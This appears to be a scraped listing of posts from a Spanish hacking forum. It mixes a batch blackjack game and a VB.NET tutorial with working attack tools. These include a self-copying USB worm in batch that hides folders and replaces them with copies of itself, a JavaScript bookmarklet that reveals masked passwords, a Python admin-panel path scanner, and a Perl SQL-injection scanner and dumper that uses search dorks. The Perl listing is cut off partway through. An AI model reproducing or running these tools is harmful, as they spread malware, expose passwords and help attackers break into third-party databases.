setlocal enabledelayedexpansion

:Menu
cls
Call :Inicio
echo.          
echo.         Ã‰ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ»
echo.         Âº Black Jack v 2 º
echo.         ÃˆÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ¼
echo.
echo.  Seleccione una Opcion:
echo.
echo.  1. Jugar       2. Salir
echo.
set opc=
set /p "opc=  >> "
if not defined opc goto menu
if "%opc%"=="2" Exit
echo.
echo.  Selecciones la Cantidad de la Apuesta
echo.
echo.  1. $10  2. $20  3. $50  4. $100
echo.
set ppp=
set /p "ppp=  >> "
if not defined ppp Goto :Menu
if "%ppp%"=="1" Set Pot=10
if "%ppp%"=="2" Set Pot=20
if "%ppp%"=="3" Set Pot=50
if "%ppp%"=="4" Set Pot=100
if %ppp% GTR 4 Goto :Menu
Set /a Money=Money-Pot

:Load
cls
Call :Reset
Call :Randomize
Call :Draw
Goto :Load

:Draw
echo.
echo.  Apuesta $ %Pot%         Total Acumulado: %Money%
echo.
echo.          Cartas del Jugador            -               Cartas del PC
for /l %%b in (1,1,11) do (echo. !CLine_%%b!)
echo.               %TotalUS% puntos                                 %TotalPC% puntos
echo.
if %TotalUS% LSS %TotalPC% (echo. Ha Ganado la PC...&Set /a "Money=Money-(Pot/2)")
if %TotalUS% EQU %TotalPC% (echo. Empatados...&Set /a "Money=Money+(Pot/2)")
if %TotalUS% GTR %TotalPC% (echo. Ganaste...&Set /a Money=Money+Pot)
echo.
set var=
Set /p "var=  Desea Volver a Jugar [S] [N] > "
If Not Defined var Goto :Eof
If /i "%var%"=="S" Goto :Eof
Goto :Menu

:Randomize
Set TotalPC=0&Set TotalUS=0
For /l %%a in (1,1,3) do (
Set /a "N%%a=!random:~-2! %% 13">NUL 2>&1
Set /a "S%%a=!random:~-2! %% 4">NUL 2>&1
Call :GenCards !N%%a! !S%%a! US
)
for /l %%c in (1,1,11) do (Set CLine_%%c=!CLine_%%c!   Â³  )
For /l %%a in (1,1,3) do (
Set /a "N%%a=!random:~-2! %% 13">NUL 2>&1
Set /a "S%%a=!random:~-2! %% 4">NUL 2>&1
Call :GenCards !N%%a! !S%%a! PC
)
Goto :Eof

:GenCards
Call :CARD!Tags:~%1,1! !Tags:~%1,1! !Symbols:~%2,1!
Set /a Total%3=Total%3+!Tags:~%1,1! >NUL 2>&1
Goto :Eof

:Inicio
If Not Defined Money Set Money=200
Set Symbols=
Set Tags=A23456789OJQK
Set A=11
Set J=10
Set Q=10
Set K=10
Set O=10
Goto :Eof

:Reset
for /l %%c in (1,1,11) do (Set CLine_%%c=)
Set Total=0
Goto :Eof

:CARDA
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³     Â³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³  %2  ³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³     Â³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD2
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2    ³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³     Â³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³    %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD3
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2    ³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³  %2  ³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³    %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD4
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³     Â³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD5
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³  %2  ³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD6
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³%2   %2³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD7
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³%2 %2 %2³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD8
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³  %2  ³ º
set CLine_6=%CLine_6% º ³%2   %2³ º
set CLine_7=%CLine_7% º ³  %2  ³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD9
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2 %2 %2³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³%2 %2 %2³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³%2 %2 %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARDO
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º1%1       Âº
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³ %2 %2 ³ º
set CLine_6=%CLine_6% º ³%2   %2³ º
set CLine_7=%CLine_7% º ³ %2 %2 ³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º       1%1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARDJ
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% ºJ        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³     Â³ º
set CLine_5=%CLine_5% º ³ ,,, ³ º
set CLine_6=%CLine_6% º ³(. .)³ º
set CLine_7=%CLine_7% º ³  l  ³ º
set CLine_8=%CLine_8% º ³ """ ³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        Jº
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARDQ
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% ºQ        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³ ___ ³ º
set CLine_5=%CLine_5% º ³.---.³ º
set CLine_6=%CLine_6% º ³º'.'º³ º
set CLine_7=%CLine_7% º ³º\o/º³ º
set CLine_8=%CLine_8% º ³º   ÂºÂ³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        Qº
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARDK
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% ºK        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³ ,,, ³ º
set CLine_5=%CLine_5% º ³\---/³ º
set CLine_6=%CLine_6% º ³³'_'³³ º
set CLine_7=%CLine_7% º ³\---/³ º
set CLine_8=%CLine_8% º ³     Â³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        Kº
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof
#66
Batch - Bash / Propagar WORM por USB [BATCH]
Enero 22, 2011, 09:43:37 PM
He desarrollado una idea que no he visto en ningun otro lado, una forma de propagacion de un Worm por USB pero de una manera mas insospechada, ya no es el clasico AUTORUN.INF sino que el codigo se copia a si mismo reemplazandose por cada una de las carpetas que haya en esa unidad, por lo que muy seguramente tendra un poco mas de efectividad.

Esta es la idea principal:

Código: text
@echo off
::Worm USB Prop.
::by Splendit
::U21hcnRHZW5pdXM

FOR %%A in (D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) DO (
IF "%~d0"=="%%A" GOTO :NEXT
CALL :USB
GOTO :NEXT

:USB
FOR %%A in (D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) DO (
IF EXIST %%A: (
FOR /F "TOKENS=5" %%B IN ('DIR %%A:^|FIND "DIR"') DO (
ATTRIB +H %%A:\%%B
COPY /Y %0 "%%A:%%B.EXT"
)))
GOTO :EOF

:NEXT
START %~dp0\
::RESTO DEL CODIGO DEL WORM
::
PAUSE
EXIT



Lo primero es detectar si nos estamos ejecutando ya desde la ubicacion principal de dicha unidad para asi abrir el verdadero destino de la carpeta que reemplazamos, que realmente esta oculta, pero que lo hago de esa manera para pasar algo inadvertido, o si es desde otro lado para proceder a hacer la copia a las respectivas unidades.

Saludos
by Splendit
#67
Dudas y pedidos generales / Re:Tienen zona de carding?
Enero 22, 2011, 09:39:55 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Es por el tema de la legalidad. Por eso tampoco hay warez
am pues poniendo en la seccion cada usuarios es responsable de sus actos bajo su riesgo., y el foro no sera responsable del mal uso que se le pueda dar.
am pues tu eres el administrador y dueño de la web solo doy mi opinion

Ese no es el problema, el problema es donde esta hosteado, que no hay muchos que permitan warez, ni carding y demas. Si incumples las normas te cierran el host y bye bye xD.

Saludos
#68
C# - VB.NET / Efecto de Scroll Text (Marquesina)
Enero 22, 2011, 09:22:58 PM
Este es la forma que descubri yo mismo de hacer el Efecto ese de "Scroll" , osea que el texto va rotando...similar al que aparece en algunos reproductores de musica  ::)

Primero que todo abrimos un nuevo proyecto y en el agregaremos tres controles basicos que seran: un TextBox, un Label y un Boton, creo que la mayoria sabreis como agregar controles a un formulario en Visual Estudio.

Ahora lo siguiente que haremos es ponerles nombre a estos elementos para despues ubicarlos correctamente en el codigo, luego lo haremos de la siguiente forma: txtScroll (TextBox), lblScroll (Label), btnScroll (Boton). Fijad que uso tres letras para definir en el que tipo de Control es y asi tener un poco mas de organizacion.

Ahora al formulario le agregaremos un control de tiempo, osea un Timer, que sera el que nos haga la mayor parte del trabajo :D

Entonces, empezamos por el evento que se realizara al presionar el Boton de "Iniciar Efecto", el cual se encargara de comprobar si se ha escrito texto y de pasarlo este al label para iniciar el efecto, o de devolver el Foco al TextBox.

Código: csharp
    Private Sub btnScroll_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnScroll.Click
        If txtScroll.Text = "" Then
            txtScroll.Focus()
        Else
            lblScroll.Text = txtScroll.Text & " "
            Timer1.Start()
        End If
    End Sub[/geshi]

Ahora agregaremos algo simple para el textbox, para cuando al dar click se borre el texto anterior, es algo extra pero que es algo funcional :D

[geshi=vbnet]    Private Sub txtScroll_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles txtScroll.Click
        txtScroll.Text = ""
    End Sub


Ahora el evento principal que es el manejado por el Timer1, el cual con cada "pasada" de tiempo, segun lo hayan configurado en la propiedad del Intervalo, seran unos milisegundos o segundos...o como deseen....

Código: csharp
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim NuevoTxt, NuevoTxt2
        NuevoTxt = lblScroll.Text.Substring(0, 1)
        NuevoTxt2 = lblScroll.Text.Substring(1)
        lblScroll.Text = NuevoTxt2 & NuevoTxt
    End Sub


Eso es todo, ahora solo falta correr la aplicacion, escribir un texto y probar el efecto para que vean como se ve de bonito  grin

Este seria el codigo final:

Código: csharp
Public Class Form1

    Private Sub btnScroll_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnScroll.Click
        If txtScroll.Text = "" Then
            'Si no hay texto entonces devolvemos el foco
            txtScroll.Focus()
        Else
            'Si hay texto entonces iniciamos el efecto
            lblScroll.Text = txtScroll.Text & " "
            Timer1.Start()
        End If
    End Sub


    Private Sub txtScroll_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles txtScroll.Click
        txtScroll.Text = ""
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        'Definimos dos variabkles temporales que seran usadas para hacer el intercambio en el String
        Dim NuevoTxt, NuevoTxt2
        NuevoTxt = lblScroll.Text.Substring(0, 1)
        NuevoTxt2 = lblScroll.Text.Substring(1)
        lblScroll.Text = NuevoTxt2 & NuevoTxt
    End Sub
End Class


Espero sea de su agrado.  ::)

PD: para hacer el efecto mas lento deben modificar el Intervalo del Timer1, y tambien pueden jugar con los atributos del Label y ponerlo en direccion contraria u otro efecto mas :D
#69
Front-end / Cursos Programacion Web [Español] :: eDeex
Enero 22, 2011, 03:19:37 PM

Cursos Programacion Web


  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
  • You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Creditos: eDeex
Os los recomiendo, para los que estan empezando.

Saludos!
#70
Zona Webmaster / Re:Saca las passwords '*******' (Javascript)
Enero 22, 2011, 08:07:04 AM
Exacto ahy te contesto B1LL14N, por ejemplo si la contraseña que esta en '*****' esta en la url You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login por ejemplo pues borras TODA la url y pones ese codigo.

Saludos
#71
Dudas y pedidos generales / Re:Solicitud de Subforo
Enero 21, 2011, 05:59:58 PM
Bueno si, hay varios foros que lo tienen a si , a mi , sinceramente me gusta mas como lo tenemos todo en un post.

Ya que se evita crear post para cada site, que lo veo una exageracion de posts.

Pero bueno , solo es mi opinion =)

Un Abrazo.
#72
Zona Webmaster / Saca las passwords '*******' (Javascript)
Enero 21, 2011, 05:10:33 PM
Bueno esto la verdad es super util lo vi en ddlr no recuerdo a quien sirve para imprimir las contraseñas encryptadas por *** (asteriscos).

Aveces cuando ves tu password en ****, pero no te recuerdas , esto viene super genial.

Código: text
javascript: var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++) {var x = ((x) || (z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found in ' + g + ' forms');}function z(f){var b=false;for(var i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++) {if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if (ej.type=='password'){s=ej.value;if (s!=''){prompt('Password found ', s)}else{alert('Password is blank')}return true;}}


Basta con copiar todo el code js, y añadirlo a la URL y listo.

Saludos
#73
Python / Admin login finder v2.0
Enero 21, 2011, 04:13:12 PM
Código: python
#/usr/bin/python 
import sys, os, time, httplib 
if sys.platform == 'linux' or sys.platform == 'linux2': 
clearing = 'clear' 
else: 
clearing = 'cls' 
os.system(clearing) 
if len(sys.argv) != 2: 
print "\n|-------------------------------------------------------------|" 
print "|               Admin login finder     v2.0                     |" 
print "| Help: admin-find.py -h                                        |" 
print "|---------------------------------------------------------------|\n" 
sys.exit(1) 
for arg in sys.argv: 
if arg == '-h': 
print "\n|-----------------------------------------------------------------------------|" 
print "|                Admin login finder     v2.0                                    |" 
print "| Usage: admin-find.py www.site.com                                             |" 
print "| Example: admin-find.py site.com                                               |" 
print "|-------------------------------------------------------------------------------|\n" 
sys.exit(1) 
site = sys.argv[1].replace("http://","").rsplit("/",1)[0] 
site = site.lower() 
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administ 
racion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/ac  
c 
ount.php','joomla/administrator','login.php', 
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.ht  
ml','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','adm  
i 
n_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html'  
, 
'adminpanel.html','webadmin.html','w  ebadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','pa 
n 
el-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php',  
' 
admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin  
/ 
admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moder  
a 
tor.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','contro  
l 
panel.php','admincontrol.php', 
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html'  
,'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderato  
r 
.htm  l','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','m  odelsea 
r 
ch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.h  
t 
ml','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpane  l.h 
t 
ml','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adm  
i 
narea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.p  
h 
p','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php',  'admin2/login.php','admin2/index.php','adm/index.php','adm.php', 
' 
affiliate.php','adm_auth.php  ','memberadmin.php','administratorlogin.php'] 
print "\n|-------------------------------------------------------------|" 
print "|                Admin login finder     v2.0                    |" 
print "|---------------------------------------------------------------|\n" 
print "\n[-] %s" % time.strftime("%X") 
		print "[+] Target:",site 
print "[+] Checking paths..." 
print 
try: 
for admin in admin_path: 
admin = admin.replace("\n","") 
admin = "/" + admin 
connection = httplib.HTTPConnection(site) 
connection.request("GET",admin) 
response = connection.getresponse() 
print "%s %s %s" % (admin, response.status, response.reason) 
except(KeyboardInterrupt,SystemExit): 
raise 
except: 
pass


Espero que os sirva!
#74
Perl / Scaner SQLi Perl
Enero 21, 2011, 04:06:45 PM
Bueno buscando en mi pen viejo.. encontre esto:

Código: perl
#!/usr/bin/perl
#
# OOO OOO OO OO OO
# OO O O O O
# O O O OO OO O O O O OO OOO OOOO OOOOO
# O O O O O O O OOO OO OOOOOO O
# O OO O O O O O O O O OOOOOO
# OOO OO OOOOO OOOOO OOOOO OOO OOO OOOOO OOOOO OOOO OO
################################################################################################################################
# SQLi
################################################################################################################################
# [+] What's New in this version ?
# 1/ Evasion choise
# 2/ proxy support
# 3/ all previous bugs were fixed
# 4/ URl Extractor + vuln scanner & checker
# 5/ More InJeCtIoN OPTIONS
################################################################################################################################

 
use LWP::UserAgent;
use HTTP::Request;
 
sub help
{
system('cls');
system('title SQLi');
print "\n\n-----------------------------------\n";
print "[!] Usage : perl $0 <option>\n";
print "\n\n--/// MySQL\n";
print " --mysqlcol MySQL column length calculator MySQL v4/5\n";
print " --mysqldetails MySQL target website db global infos MySQL v4/5\n";
print " --mysqlschema MySQL Full Schema Extractor MySQL v5\n";
print " --mysqldump MySQL Data Dump MySQL v4/5\n";
print " --mysqlfile MySQL load_file fuzzer MySQL v4/5\n";
print " --mysqltblfuzz MySQL Table_name Fuzzer MySQL v4\n";
print " --mysqlcolfuzz MySQL Column_name Fuzzer MySQL v4\n";
print "\n\n--/// MsSQL\n";
print " --mssqldetails MsSQL DB global info\n";
print " --mssqltable MsSQL Tables Extractor\n";
print " --mssqlcolumns MsSQL Columns Extractor\n";
print " --mssqldump MsSQL Columns Extractor\n";
print "\n\n--/// Vulunerability Scanner\n";
print " --dork URL Extractor , SQL Vulnerability's Scanner & checker\n";
print "\n\n--/// Options\n";
print " --proxy define a proxy to use\n";
print " --listfile list of columns or tables to use in fuzz or load_file files list\n";
print " --output save injection or scan result in an outside file\n";
print " --table table to use in dumping data or in tbles extract\n";
print " --column column to use in dumping data or in column extract\n";
print " --help print this help text :P\n";
exit();
}
 
sub variables
{
my $i=0;
foreach (@ARGV)
{
if ($ARGV[$i] eq "--dork"){$search_dork = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlcol"){$mysql_count_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqldetails"){$mysql_details_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlschema"){$mysql_schema_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqldump"){$mysql_dump_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqltblfuzz"){$mysql_fuzz_table = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlcolfuzz"){$mysql_fuzz_column = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mysqlfile"){$mysql_load_file = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqldetails"){$mssql_details_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqltable"){$mssql_table_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqlcolumn"){$mssql_column_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--mssqldump"){$mssql_dump_target = $ARGV[$i+1]}
if ($ARGV[$i] eq "--column"){$sql_dump_column = $ARGV[$i+1]}
if ($ARGV[$i] eq "--table"){$sql_dump_table = $ARGV[$i+1]}
if ($ARGV[$i] eq "--evasion"){$evasion = $ARGV[$i+1]}
if ($ARGV[$i] eq "--output"){$vulnfile = $ARGV[$i+1]}
if ($ARGV[$i] eq "--proxy"){$proxy = $ARGV[$i+1]}
if ($ARGV[$i] eq "--listfile"){$word_list = $ARGV[$i+1]}
if ($ARGV[$i] eq "--help"){&help}
$i++;
}
}
 
sub main
{
system('cls');
system('title SQL InJeCtoR v2.0');
print "\n\n\n\n OOO OOO OO OO OO\n" ;
print " OO O O O O\n" ;
print " O O O OO OO O O O O OO OOO OOOO OOOOO\n" ;
print " O O O O O O O OOO OO OOOOOO O\n" ;
print " O OO O O O O O O O O OOOOOO\n" ;
print " OOO OO OOOOO OOOOO OOOOO OOO OOO OOOOO OOOOO OOOO OO\n" ;
print " \n\n SQLi";
if (@ARGV<1){print "[!] For Help : perl $0 --help\n\n\n" ;}
}
 
sub vulnscanner
{
checkgoogle();
googlescan($search_dork);
askscan($search_dork);
}
 
sub checkgoogle
{
my $request = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$search_dork&btnG=Search&start=10");
my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->request($request) ;
my $result = $response->content;
if ($result =~ m/if you suspect that your computer or network has been infected/i){print "[!] You Have Been Banned From Google Search :( \n";exit()}
} 
 
sub googlescan
{
my $dork = $_[0];
for ($i=0;$i<200;$i=$i+10)
{
my $request = HTTP::Request->new(GET => "http://www.google.com/search?hl=en&q=$dork&btnG=Search&start=$i");
my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->request($request) ;
my $result = $response->content;
while ($result =~ m/class=r><a href="(.*?)\" class=l>/g )
{
print "[!] Trying to fuzz $1n"; 
checkvuln($1)
}
} 
}
 
sub askscan
{
my $dork = $_[0];
for ($i=0;$i<20;$i++)
{
my $request = HTTP::Request->new(GET => "http://www.ask.com/web?q=page.php?id=&qsrc=0&o=0&l=dir&q=$dork&page=$i&jss=");
my $useragent = LWP::UserAgent->new(agent => 'FAST-WebCrawler/3.3');
$useragent->proxy("http", "http://$proxy/") if defined($proxy);
my $response = $useragent->request($request) ;
my $result = $response->content;
while ($result =~ m/<span id="r(.*)_u\" class=\"(.*)\">(.*)<\/span>/gi)
{
my $askurl ="http://".$3 ;
print "[!] Trying to fuzz $askurl\n";
checkvuln($askurl);
}
}
}
 
sub checkvuln
{
my $scan_url = $_[0];
my $link = $scan_url.'0+order+by+9999999--';
my $ua = LWP::UserAgent->new();
$ua->proxy("http", "http://$proxy/") if defined($proxy);
my $req = $ua->get($link);
my $fuzz = $req->content;
if ($fuzz =~ m/You have an error in your SQL syntax/i || $fuzz =~ m/Query failed/i || $fuzz =~ m/SQL query failed/i || $fuzz =~ m/mysql_fetch_/i || $fuzz =~ m/mysql_fetch_array/i || $fuzz =~ m/mysql_num_rows/i || $fuzz =~ m/The used SELECT statements have a different number of columns/i )
{
print "[!] MySQL Vulnerable -> $scan_url\n";
if (defined($vulnfile))
{ 
push (@mysqlvuln,"$scan_url\n");
}
